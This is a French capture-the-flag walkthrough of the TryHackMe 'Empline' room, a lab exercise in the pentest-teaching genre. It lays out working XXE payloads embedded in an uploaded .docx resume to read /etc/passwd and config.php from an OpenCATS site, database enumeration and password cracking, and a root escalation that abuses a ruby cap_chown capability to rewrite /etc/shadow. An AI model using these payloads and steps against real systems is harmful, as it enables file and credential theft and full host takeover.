Views: 1882
Lien : https://tryhackme.com/room/empline
Auteur : https://tryhackme.com/p/zyeinn
Difficulté : Moyenne
[USER]
L’énumération de la machine à l’aide de nmap nous permet de découvrir 3 ports ouverts qui sont le 22, 80 et 3306.
# nmap -A -T4 10.10.181.246
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c0:d5:41:ee:a4:d0:83:0c:97:0d:75:cc:7b:10:7f:76 (RSA)
| 256 83:82:f9:69:19:7d:0d:5c:53:65:d5:54:f6:45:db:74 (ECDSA)
|_ 256 4f:91:3e:8b:69:69:09:70:0e:82:26:28:5c:84:71:c9 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Empline
3306/tcp open mysql MySQL 5.5.5-10.1.48-MariaDB-0ubuntu0.18.04.1
| mysql-info:
| Protocol: 10
| Version: 5.5.5-10.1.48-MariaDB-0ubuntu0.18.04.1
| Thread ID: 85
| Capabilities flags: 63487
Une fois sur le site web nous pouvons voir que l’onglet EMPLOYMENT nous redirige vers http://job.empline.thm/careers :
Nous pouvons en déduire qu’il faut ajouter empline.thm et job.empline.thm à notre fichier /etc/hosts :
echo "10.10.181.246 empline.thm job.empline.thm" >> /etc/hosts
Ce qui nous permet d’avoir accès à cette page :
Voici un article très très intéressant qui présente l’exploitation d’une faille XXE (CVE-2019-13358) sur le même CMS :
La création d’un document malicieux va nous permettre de pouvoir lire un fichier sur le serveur, ici nous allons reproduire les mêmes actions que dans l’article mentionné plus haut :
Création du script permettant de générer un fichier .docx :
#!/usr/bin/env python3
from docx import Document
document = Document()
paragraph = document.add_paragraph('Reginald Dodd')
document.save('resume.docx')
(root💀kali)# chmod +x script.py
(root💀kali)# ./script.py
(root💀kali)# unzip resume.docx
Nous devons à présent modifier le fichier document.xml pour y inclure la XXE :
nano word/document.xml
# Payload for read /etc/passwd
<!DOCTYPE test [<!ENTITY test SYSTEM 'file:///etc/passwd'>]>
# Change Reginald Dodd to &test;
Copier ce payload à la ligne 2 et changer Reginald Dodd par &test; ce qui nous donne :
<?xml version='1.0' encoding='UTF-8' standalone='yes'?>
<!DOCTYPE test [<!ENTITY test SYSTEM 'file:///etc/passwd'>]>
<w:document xmlns:wpc="http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas" xmlns:mo="http://schemas.microsoft.com/office/mac/office/2008/main" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:mv="urn:schemas-microsoft-com:mac:vml" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:wp14="http://schemas.microsoft.com/office/word/2010/wordprocessingDrawing" xmlns:wp="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing" xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" xmlns:wpg="http://schemas.microsoft.com/office/word/2010/wordprocessingGroup" xmlns:wpi="http://schemas.microsoft.com/office/word/2010/wordprocessingInk" xmlns:wne="http://schemas.microsoft.com/office/word/2006/wordml" xmlns:wps="http://schemas.microsoft.com/office/word/2010/wordprocessingShape" mc:Ignorable="w14 wp14"><w:body><w:p><w:r><w:t>&test;</w:t></w:r></w:p><w:sectPr w:rsidR="00FC693F" w:rsidRPr="0006063C" w:rsidSect="00034616"><w:pgSz w:w="12240" w:h="15840"/><w:pgMar w:top="1440" w:right="1800" w:bottom="1440" w:left="1800" w:header="720" w:footer="720" w:gutter="0"/><w:cols w:space="720"/><w:docGrid w:linePitch="360"/></w:sectPr></w:body></w:document>
Il nous suffit à présent de re zip tout ça et de l’upload sur le site !
zip resume.docx word/document.xml
Nous pouvons postuler à cette offre de dev mobile ici même :
http://job.empline.thm/careers/index.php?m=careers&p=applyToJob&ID=1
Après upload de notre fichier .docx nous avons comme retour le contenu du fichier /etc/passwd :
Cependant ceci ne nous permet pas d’avancer dans l’exploitation de cette machine, ce qui peut-être intéressant est de lire le contenu du fichier config.php contenant les informations de connexion à la base de données qui elle est ouverte à la connexion sur le port 3306.
Le principe est exactement le même sauf que nous allons utiliser ce payload :
<!DOCTYPE test [<!ENTITY test SYSTEM 'php://filter/convert.base64-encode/resource=config.php'>]>
Ce qui nous donne :
<?xml version='1.0' encoding='UTF-8' standalone='yes'?>
<!DOCTYPE test [<!ENTITY test SYSTEM 'php://filter/convert.base64-encode/resource=config.php'>]>
<w:document xmlns:wpc="http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas" xmlns:mo="http://schemas.microsoft.com/office/mac/office/2008/main" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:mv="urn:schemas-microsoft-com:mac:vml" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:wp14="http://schemas.microsoft.com/office/word/2010/wordprocessingDrawing" xmlns:wp="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing" xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" xmlns:wpg="http://schemas.microsoft.com/office/word/2010/wordprocessingGroup" xmlns:wpi="http://schemas.microsoft.com/office/word/2010/wordprocessingInk" xmlns:wne="http://schemas.microsoft.com/office/word/2006/wordml" xmlns:wps="http://schemas.microsoft.com/office/word/2010/wordprocessingShape" mc:Ignorable="w14 wp14"><w:body><w:p><w:r><w:t>&test;</w:t></w:r></w:p><w:sectPr w:rsidR="00FC693F" w:rsidRPr="0006063C" w:rsidSect="00034616"><w:pgSz w:w="12240" w:h="15840"/><w:pgMar w:top="1440" w:right="1800" w:bottom="1440" w:left="1800" w:header="720" w:footer="720" w:gutter="0"/><w:cols w:space="720"/><w:docGrid w:linePitch="360"/></w:sectPr></w:body></w:document>
⚠️ N’oublions pas de re zip le document et let’s go pour l’upload :
Nous obtenons donc du base64 qui est en réalité le contenu du fichier config.php :
<?php
[REDACTED]
/* Database configuration. */
define('DATABASE_USER', 'james');
define('DATABASE_PASS', '[REDACTED]');
define('DATABASE_HOST', 'localhost');
define('DATABASE_NAME', 'opencats');
[REDACTED]
?>
Nous pouvons dès à présent nous connecter sur la base de données afin de l’énumérer :
mysql -h 10.10.181.246 -u james -p
show databases;
use opencats;
select * from user;
Nous trouvons donc deux passwords mais le plus intéressant est celui de george car nous savons déjà qu’il est présent sur la machine, il suffit simplement de cracker ce md5 avec crackstation :
C’est l’heure d’utiliser ce password en ssh :
[ROOT]
Après énumération classique, nous pouvons découvrir qu’il y a une capability sur le binaire ruby :
getcap -r / 2>/dev/null
Le mtr-packet n’est pas intéressant, ici nous avons le cap_chown d’activé, ce dernier permet de changer le propriétaire d’une fichier/dossier.
Il est plus courant de voir ceci avec du python mais après recherche on peut s’aider de ce lien :
https://ruby-doc.org/core-2.5.0/File.html
File.chown(nil, 100, "testfile")
Ce qui nous donne dans notre cas par exemple :
# Change the owner of /etc/shadow (where 1002 = george uid)
(root💀kali)# ruby -e "File.chown(1002, 1002, '/etc/shadow')"
# Set 777 perms to this file
(root💀kali)# chmod 777 /etc/shadow
# Create a new password for root user where mika = password
(root💀kali)# openssl passwd mika
We got zvceb9H/tHBKQ
# Let's modify the root user in /etc/shadow
root:$6$1cvOcl49$/czKHKvBaz450J3YnIvkqexT.StvdgUWzPr5X1Aitt/kxgF/i78wziX3zJQ0y8Kg9y749Qjr5EFiHmTdPsIJH/:18828:0:99999:7:::
to
root:zvceb9H/tHBKQ:18828:0:99999:7:::
# Connect to root with mika as password and grab your flag
george@empline:~$ su root
root@empline:/home/george# id
uid=0(root) gid=0(root) groups=0(root)